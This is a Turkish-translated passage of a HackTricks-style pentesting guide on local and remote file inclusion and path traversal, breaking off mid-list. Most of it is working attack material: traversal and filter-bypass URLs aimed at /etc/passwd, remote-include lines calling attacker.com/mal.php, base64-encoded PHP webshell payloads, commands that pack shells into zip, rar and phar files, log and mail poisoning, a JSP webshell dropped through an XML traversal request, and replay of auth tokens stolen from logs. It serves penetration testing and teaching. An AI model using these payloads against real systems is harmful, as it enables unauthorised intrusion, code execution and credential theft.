File Inclusion/Path traversal

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

File Inclusion

Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu onu çalıştırır). php’de bu varsayılan olarak devre dışıdır (allow_url_include).
Local File Inclusion (LFI): Sunucu yerel bir dosya yükler.

Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı herhangi bir şekilde kontrol edebilmesi durumunda ortaya çıkar.

Etkilenen PHP functions: require, require_once, include, include_once

Bu zafiyeti exploit etmek için ilginç bir araç: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Birkaç *nix LFI listesini karıştırıp daha fazla yol ekleyerek bunu oluşturdum:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \
Ayrıca ../../../../../ eklemeyi deneyin

Birden fazla teknik kullanarak /etc/password dosyasını (zafiyetin var olup olmadığını kontrol etmek için) bulmaya yönelik bir liste burada bulunabilir

Windows

Farklı wordlists birleşimi:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Ayrıca / yerine \
Ayrıca C:/’yi kaldırıp ../../../../../ eklemeyi deneyin

Birden fazla teknik kullanarak /boot.ini dosyasını (zafiyetin var olup olmadığını kontrol etmek için) bulmaya yönelik bir liste burada bulunabilir

OS X

Linux için LFI listesini kontrol edin.

Temel LFI ve bypasslar

Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion için de uygulanabilir (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal dizileri özyinelemeli olmayan şekilde temizleniyor

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Verilen string’in sonuna daha fazla karakter eklenmesini bypass et (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Bu PHP 5.4’ten beri çözülmüştür

Kodlama

Çift URL encode (ve diğerleri) gibi standart dışı kodlamalar kullanabilirsiniz:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Modern HTML-to-PDF motorları (ör. TCPDF veya html2pdf gibi sarmalayıcılar) saldırgan tarafından sağlanan HTML, SVG, CSS ve font URL’lerini memnuniyetle parse eder, ancak genellikle dosya sistemine erişimi olan güvenilen backend ağları içinde çalışırlar. $pdf->writeHTML()/Html2Pdf::writeHTML() içine HTML enjekte edebildiğinizde, web sunucusu hesabının okuyabildiği yerel dosyaları sıklıkla exfiltrate edebilirsiniz.

  • Fingerprint the renderer: Her oluşturulan PDF bir Producer alanı içerir (örn. TCPDF 6.8.2). Tam build’i bilmek hangi path filtrelerinin mevcut olduğunu ve URL decoding’in doğrulamadan önce yapılıp yapılmadığını söyler.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() <image> öğelerindeki xlink:href özniteliğini urldecode() çalıştırmadan önce okur. Kötü amaçlı bir SVG’yi data URI içinde gömmek birçok HTML sanitizers’ın payload’u yok saymasına neden olurken TCPDF yine de bunu parse eder:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF, / ile başlayan yollara $_SERVER['DOCUMENT_ROOT'] ekler ve ..’yi ancak sonra çözer; bu yüzden root’tan kaçmak için başa ../../.. segmentleri veya /../../.. kullanın.

  • Basit filtreleri atlatmak için kodlama: Sürümler ≤6.8.2 sadece literal alt dizi ../’yı URL çözümlemeden önce kontrol eder. SVG veya ham <img src> özniteliğinde ..%2f (veya ..%2F) göndermek kontrolü atlatır, çünkü dizin atlama dot-dot-slash dizisi yalnızca TCPDF urldecode() çağırdıktan sonra yeniden oluşturulur.
  • Çok aşamalı çözümleme için çift kodlama: Eğer kullanıcı girdisi web framework tarafından ve TCPDF tarafından çözülüyorsa, slash’i çift kodlayın (%252f). Bir çözümleme bunu %2f’ye çevirir, TCPDF’deki ikinci çözümleme bunu /’ye çevirir, böylece /..%252f..%252f../../../../… elde edilir ve erken filtreye asla ../ gösterilmez.
  • HTML <img> işleyicisi: TCPDF::openHTMLTagHandler() aynı işlem sırası hatasını içerir, src="%2f..%252f..%252ftmp%252fsecret.png" gibi doğrudan HTML payload’larına izin vererek yerel olarak erişilebilir herhangi bir bitmap’i okumayı sağlar.

Bu teknik PDF worker tarafından okunabilir her şeyi leaks (pasaport taramaları, görüntü olarak render edilmiş API anahtarları, vb.). Sistemi sertleştirenler bunu 6.9.1’de yolları kanonikleştirerek (isRelativePath()) düzelttiler; bu yüzden testler sırasında daha eski Producer sürümlerine öncelik verin.

Mevcut klasörden

Belki back-end klasör yolunu kontrol ediyordur:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Sunucuda Dosya Sistemi Dizinlerini Keşfetme

Bir sunucunun dosya sistemi, sadece dosyaları değil, dizinleri de belirlemek için bazı teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesi ve belirli klasörlerin varlığının yoklanmasını içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem verilmiştir:

  1. Dizin Derinliğini Belirleyin: Bulunduğunuz dizinin derinliğini, /etc/passwd dosyasını başarıyla alarak tespit edin (sunucu Linux tabanlıysa uygulanır). Aşağıdaki gibi yapılandırılmış bir örnek URL, üç derinlik olduğunu gösterir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Klasörleri Sorgulayın: Şüphelenilen klasörün adını (örn., private) URL’ye ekleyin, sonra /etc/passwd’e geri dönün. Ek dizin seviyesi depth’i bir artırmayı gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Sonuçları Yorumlama: Sunucunun yanıtı klasörün mevcut olup olmadığını gösterir:
  • Hata / Çıktı Yok: private klasörü belirtilen konumda muhtemelen yoktur.
  • /etc/passwd içeriği: private klasörünün varlığı doğrulanır.
  1. Yinelemeli Keşif: Bulunan klasörler, aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir.

Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload’ı uygun şekilde ayarlayın. Örneğin, /var/www/ içinde bir private dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliğinin 3 olduğunu varsayarsak), şunu kullanın:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır.

In PHP, çeşitli dosya yolu gösterimleri dosya sisteminin doğası gereği eşdeğer kabul edilebilir. Örneğin:

  • /etc/passwd, /etc//passwd, /etc/./passwd, ve /etc/passwd/ aynı yol olarak değerlendirilir.
  • Son 6 karakter passwd olduğunda, sonuna / eklemek (yani passwd/) hedeflenen dosyayı değiştirmez.
  • Aynı şekilde, bir dosya yoluna .php eklendiğinde (örneğin shellcode.php), sonuna /. eklemek erişilen dosyayı değiştirmez.

Verilen örnekler, hassas içeriği nedeniyle sıkça hedef olan /etc/passwd dosyasına Path truncation kullanarak nasıl erişileceğini gösterir (kullanıcı hesap bilgileri):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Bu senaryolarda, gereken traversals sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişebilir.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) ekstra nokta segmentleri ve karakterlerle birleştirildiğinde dosya sisteminde gezinmek için kullanılabilir; böylece sunucunun eklediği dizeler (ör. .php) etkisizleştirilir.
  • Determining the Required Number of Traversals: Deneme-yanılma yoluyla, kök dizine ve ardından /etc/passwd’e ulaşmak için gereken ../ dizilerinin kesin sayısı bulunabilir; bu, sunucunun eklediği dizelerin (ör. .php) etkisizleştirilmesini sağlar ancak hedef yol (/etc/passwd) korunur.
  • Starting with a Fake Directory: Yolun a/ gibi var olmayan bir dizinle başlaması yaygın bir uygulamadır. Bu teknik, önlem amacıyla veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.

When employing path truncation techniques, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapmak gerekir.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php’de bu varsayılan olarak devre dışı bırakılmıştır çünkü allow_url_include Off. Çalışması için On olmalıdır ve bu durumda sunucunuzdaki bir PHP dosyasını include ederek RCE elde edebilirsiniz:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Eğer bir nedenle allow_url_include On ise, ancak PHP dış web sayfalarına erişimi filtreliyorsa, bu gönderiye göre, örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Erişime Açık .git Deposu (Kaynak Açığa Çıkması)

Web sunucusu /.git/ dizinini açığa çıkarıyorsa, bir saldırgan genellikle tüm depoyu yeniden oluşturabilir (commit geçmişi dahil) ve uygulamayı çevrimdışı denetleyebilir. Bu genellikle gizli endpoints, secrets, SQL sorguları ve yalnızca admin’e ait işlevselliği ortaya çıkarır.

Hızlı kontroller:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Depoyu git-dumper ile dök:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Ardından çalışma ağacını geri yükleyin:

cd out
git checkout .

Tip

Önceki koddaki son +.txt, saldırganın .txt ile biten bir stringe ihtiyacı olduğu için eklendi; bu yüzden string onunla bitiyor ve b64 decode işleminden sonra o kısım sadece çöp dönecek ve gerçek PHP kodu dahil edilecek (dolayısıyla çalıştırılacak).

Başka bir örnek php:// protokolünü kullanmayan şöyle olur:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Kök elemanı

Python’da aşağıdaki gibi bir kodda:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Kullanıcı file_name’e bir absolute path geçirirse, önceki yol sadece kaldırılır:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Bu, the docs’e göre beklenen bir davranıştır:

Eğer bir bileşen mutlak bir yolsa, önceki tüm bileşenler atılır ve birleştirme işlemi mutlak yol bileşeninden devam eder.

Java’da Dizin Listeleme

Görünüşe göre Java’da bir Path Traversal varsa ve dosya yerine bir dizin isterseniz, dizinin listesi döndürülür. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).

En çok hedeflenen 25 parametre

Aşağıda local file inclusion (LFI) zafiyetlerine açık olabilecek en çok hedeflenen 25 parametrenin listesi bulunmaktadır (kaynak: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI — PHP sarmalayıcıları ve protokolleri kullanarak

php://filter

PHP filtreleri, veriler okunmadan veya yazılmadan önce temel veri üzerinde değiştirme işlemleri gerçekleştirmeyi sağlar. Filtrelerin 5 kategorisi vardır:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Veriden etiketleri kaldırır ( “<” ve “>” karakterleri arasındakilerin tamamı)
  • Not: Bu filtre modern PHP sürümlerinden kaldırılmıştır
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Başka bir kodlamaya dönüştürür (convert.iconv.<input_enc>.<output_enc>). Desteklenen tüm kodlamaların listesini almak için konsolda şunu çalıştırın: iconv -l

Warning

convert.iconv.* conversion filter’ünü kötüye kullanarak rastgele metin üretebilirsiniz, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine izin vermek açısından faydalı olabilir. Daha fazla bilgi için bakın LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: İçeriği sıkıştırır (çok miktarda bilgi exfiltrating ederken kullanışlıdır)
  • zlib.inflate: Veriyi dekomprese eder
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • php’de var_dump(stream_get_filters()); çalıştırdığınızda birkaç beklenmedik filtre bulabilirsiniz:
  • consumed
  • dechunk: HTTP chunked encoding’i tersine çevirir
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

“php://filter” kısmı büyük/küçük harfe duyarsızdır

php filters’ı oracle olarak kullanarak rastgele dosyalar okumak

Bu yazıda sunulan bir teknik, sunucudan çıktı alınmadan yerel bir dosyanın okunmasını sağlar. Bu teknik, oracle olarak php filters kullanarak dosyanın (karakter karakter) boolean exfiltration’ına dayanır. Bunun nedeni php filters’ın bir metni yeterince büyütebilmesi ve dolayısıyla php’nin bir exception fırlatmasına yol açabilmesidir.

Orijinal yazıda tekniğin ayrıntılı açıklaması bulunuyor, ama burada kısa bir özet:

  • Metnin başındaki karakteri öne çıkarıp string boyutunun üssel olarak artmasını sağlamak için codec UCS-4LE kullanın.
  • Bu, başlangıç harfi doğru tahmin edildiğinde php’nin bir error tetikleyecek kadar büyük bir metin üretmek için kullanılacak.
  • dechunk filtresi, ilk karakter onaltılık değilse her şeyi silecektir, böylece ilk karakterin hex olup olmadığını anlayabiliriz.
  • Bu, öncekiyle (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştiğinde, metnin başındaki bir harfi tahmin etmemizi sağlar; yeterli dönüşümü uygulayıp karakterin onaltılık olmaktan çıktığı zamanı görürüz. Çünkü eğer onaltılıksa dechunk onu silmez ve başlangıç bombası php error’ı tetikler.
  • Codec convert.iconv.UNICODE.CP930 her harfi bir sonrakine dönüştürür (ör. a -> b). Bu, ilk harfin örneğin a olup olmadığını tespit etmemizi sağlar; çünkü bu codec’i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık onaltılık karakter olmaktan çıkar, dolayısıyla dechunk onu silmez ve php error tetiklenir çünkü başlangıç bombası ile çarpılır.
  • Başlangıçta rot13 gibi diğer dönüşümleri kullanarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec’ler diğer harfleri hex aralığına taşımak için kullanılabilir).
  • Başlangıç karakteri bir sayı olduğunda, sayıyı leak etmek için önce base64 ile encode etmek ve ilk 2 harfi leak etmek gerekir.
  • Son sorun, ilk harften daha fazlasını nasıl leak edeceğimizi görmektir. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi order memory filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin başka harflerini ilk pozisyona getirmek mümkündür.
  • Daha fazla veri elde edebilmek için fikir, convert.iconv.UTF16.UTF16 ile başta 2 byte junk veri üretmek, ardından UCS-4LE uygulayarak bunları sonraki 2 byte ile pivot etmek, ve junk veriye kadar veriyi silmekdir (bu, ilk metnin ilk 2 baytını kaldırır). İstediğiniz leak bitine ulaşana kadar bunu tekrarlayın.

Yazıda bunu otomatikleştiren bir tool da leak edildi: php_filters_chain_oracle_exploit.

php://fd

Bu wrapper, process’in açık tuttuğu file descriptor’lara erişmeye izin verir. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak kullanışlıdır:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ayrıca php://stdin, php://stdout and php://stderr’i sırasıyla dosya tanımlayıcıları 0, 1 ve 2’ye erişmek için kullanabilirsiniz (bir saldırıda bunun nasıl faydalı olabileceğinden emin değilim)

zip:// and rar://

İçine bir PHPShell konulmuş Zip veya Rar dosyası yükleyin ve ona erişin.
rar protokolünü kötüye kullanabilmek için bunun özellikle etkinleştirilmesi gerekir.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Bu protokolün php yapılandırmaları allow_url_open ve allow_url_include tarafından kısıtlandığını unutmayın.

expect://

Expect’in etkinleştirilmiş olması gerekiyor. Bunu kullanarak kod çalıştırabilirsiniz:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST parametrelerinde payload’ınızı belirtin:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Bir .phar dosyası, bir web uygulaması dosya yükleme için include gibi fonksiyonları kullandığında PHP kodunu çalıştırmak için kullanılabilir. Aşağıdaki PHP kodu örneği bir .phar dosyasının oluşturulmasını gösterir:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:

php --define phar.readonly=0 create_path.php

Çalıştırıldığında test.phar adlı bir dosya oluşturulacak; bu, potansiyel olarak Local File Inclusion (LFI) açıklarını istismar etmek için kullanılabilir.

LFI yalnızca içindeki PHP kodunu çalıştırmadan dosya okuma yapıyorsa — örneğin file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() veya filesize() gibi fonksiyonlarla — deserialization zafiyetinin istismarı denenebilir. Bu zafiyet, phar protokolü kullanılarak dosya okunmasıyla ilişkilidir.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

Daha fazla olası protocols to include here:

  • php://memory and php://temp — Bellekte veya geçici bir dosyada yazma (bir file inclusion saldırısında bunun nasıl faydalı olabileceğinden emin değilim)
  • file:// — Yerel dosya sistemine erişim
  • http:// — HTTP(s) URL’lerine erişim
  • ftp:// — FTP(s) URL’lerine erişim
  • zlib:// — Sıkıştırma akışları
  • glob:// — Desene uyan yol adlarını bulma (yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil)
  • ssh2:// — Secure Shell 2
  • ogg:// — Ses akışları (Rastgele dosyaları okumak için kullanışlı değil)

LFI via PHP’s ‘assert’

PHP’de Local File Inclusion (LFI) riskleri, string içindeki kodu çalıştırabilen ‘assert’ fonksiyonuyla uğraşıyorsanız özellikle yüksektir. Bu, ‘..’ gibi dizin atlama karakterleri içeren girdiler kontrol ediliyor ancak düzgün şekilde temizlenmiyorsa özellikle sorunludur.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Bu, traversal’ı engellemeyi amaçlasa da istemeden code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bundan faydalanan bir saldırgan şu yöntemi kullanabilir:

' and die(highlight_file('/etc/passwd')) or '

Benzer şekilde, keyfi sistem komutlarını yürütmek için şunu kullanabilir:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Bu teknik, bir PHP fonksiyonunun erişeceği bir dosyanın file path’ini siz kontrol ediyorsanız, ancak dosyanın içeriğini görmediğiniz durumlarda (ör. basit bir file() çağrısı) ilgilidir.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Özetle, teknik bir dosyanın içeriğini o kadar büyük hale getirmek için “UCS-4LE” encoding kullanır ki, dosyayı açan PHP fonksiyonu bir error tetikler.

Sonra, ilk karakteri leak etmek için dechunk filtresi base64 veya rot13 gibi diğer filtrelerle birlikte kullanılır ve son olarak convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE filtreleri diğer karakterleri başa yerleştirip onları leak etmek için kullanılır.

Zafiyete açık olabilecek fonksiyonlar: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • Bir endpoint veya background worker’da, bir path/filename kabul edip içeriği diske yazan bir write primitive tespit edin (örn. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
  • Web-exposed dizinleri belirleyin. Yaygın örnekler:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Amaçlanan storage dizininden webroot’a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
  • Bıraktığınız payload’a gidin ve komutları çalıştırın.

Notes:

  • The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
  • On Java stacks, these file writes are often implemented with simple File/Paths concatenation. Lack of canonicalisation/allow-listing is the core flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Bu sınıf hataları engelleyen sertleştirme önlemleri:

  • Yolu kanonik hale getirip bunun izin verilen bir temel dizinin alt dizini olduğunu zorunlu kılın.
  • .., absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercihen üretilmiş dosya adlarını kullanın.
  • Yazma işlemlerini düşük ayrıcalıklı bir hesapla çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

Warning

Dikkat: shell için çift tırnak yerine tek tırnak kullanırsanız, çift tırnaklar “quote;” string’i için değiştirilecek, PHP burada hata verecek ve başka hiçbir şey çalıştırılmayacaktır.

Ayrıca, payload’ı doğru yazdığınızdan emin olun; aksi takdirde PHP log dosyasını yüklemeye çalıştıkça hata verecek ve ikinci bir fırsatınız olmayacak.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Diğer olası log yolları:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Erişim loglarını okuyarak GET tabanlı auth token’ları toplama (token replay)

Birçok uygulama yanlışlıkla session/auth token’larını GET aracılığıyla kabul eder (ör. AuthenticationToken, token, sid). Eğer web sunucu loglarına path traversal/LFI primitive’iniz varsa, bu token’ları access log’lardan çalabilir ve authentication’ı tamamen atlatmak için replay edebilirsiniz.

Nasıl:

  • traversal/LFI primitive’ini kullanarak web sunucusu access log’unu okuyun. Yaygın yerler:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Bazı endpoint’ler file reads’i Base64-encoded olarak döner. Eğer öyleyse, yerel olarak decode edin ve log satırlarını inceleyin.
  • GET istekleri içinde token parametresi olan satırları grep’leyin ve değerini yakalayın, sonra bunu uygulamanın entry point’ine karşı replay edin.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

İçeriği Base64 ise çöz, sonra yakalanmış token’ı yeniden kullan:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notlar:

  • URLs içindeki Tokens varsayılan olarak loglanır; production sistemlerinde bearer tokens’ı GET ile asla kabul etmeyin.
  • Eğer uygulama birden fazla token adı destekliyorsa, AuthenticationToken, token, sid, access_token gibi yaygın anahtarları arayın.
  • Logs’a leaked olmuş olabilecek herhangi bir token’ı rotate edin.

E-posta ile

Bir mail gönderin dahili bir hesaba (user@localhost) içinde PHP payload’ınız olan <?php echo system($_REQUEST["cmd"]); ?> gibi bir içerik barındıran ve kullanıcının mailini /var/mail/<USERNAME> veya /var/spool/mail/<USERNAME> gibi bir yol ile include etmeye çalışın.

/proc/*/fd/* Üzerinden

  1. Birçok shell yükleyin (örneğin: 100)
